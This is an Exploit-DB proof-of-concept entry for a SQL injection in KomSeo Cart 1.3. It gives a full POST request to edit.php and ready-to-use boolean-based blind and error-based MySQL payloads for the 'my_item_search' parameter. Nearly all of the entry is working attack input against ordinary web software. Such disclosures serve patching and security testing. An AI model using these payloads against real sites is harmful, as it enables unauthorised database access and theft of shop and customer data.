KomSeo Cart 1.3 - 'my_item_search' SQL Injection

EDB-ID:
44753

CVE:
N/A

EDB Verified: ×

Author:
AKKUS

Type:
WEBAPPS

Exploit: / {}

Platform:
PHP

Date:
2018-05-25

Vulnerable App:

```
# Exploit Title: KomSeo Cart 1.3 - 'edit.php' SQL Injection
# Dork: N/A
# Date: 25.05.2018
# Exploit Author: Özkan Mustafa Akkuş (AkkuS)
# Vendor: SITEMAKIN
# Vendor Homepage: https://sitemakin.com
# Version: 1.3
# Category: Webapps
# Tested on: Kali linux
# Description : The vulnerability allows an attacker to inject sql commands
from the user search section with 'my_item_search' parameter.
=====================================================
# Demo : https://sitemakin.com/phpcart/
# PoC : SQLi :

https://test.com/phpcart/edit.php

POST /phpcart/edit.php HTTP/1.1
Host: test.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101
Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://test.com/phpcart/edit.php
Cookie: PHPSESSID=9a04fe702b8ff82c1199590d7c286e1c;
_ga=GA1.2.1275939122.1527132107; _gid=GA1.2.1473500504.1527224530
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 40
my_item_search=test&submit_search=Search


Parameter: my_item_search (POST)

    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)
    Payload: my_item_search=-5021' OR 3148=3148#&submit_search=Search

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP
BY clause (FLOOR)
    Payload: my_item_search=test' AND (SELECT 8609 FROM(SELECT
COUNT(*),CONCAT(0x7170787671,(SELECT
(ELT(8609=8609,1))),0x7178707071,FLOOR(RAND(0)*2))x FROM
            INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)--
voqa&submit_search=Search


=====================================================
```

Tags:

Advisory/Source: Link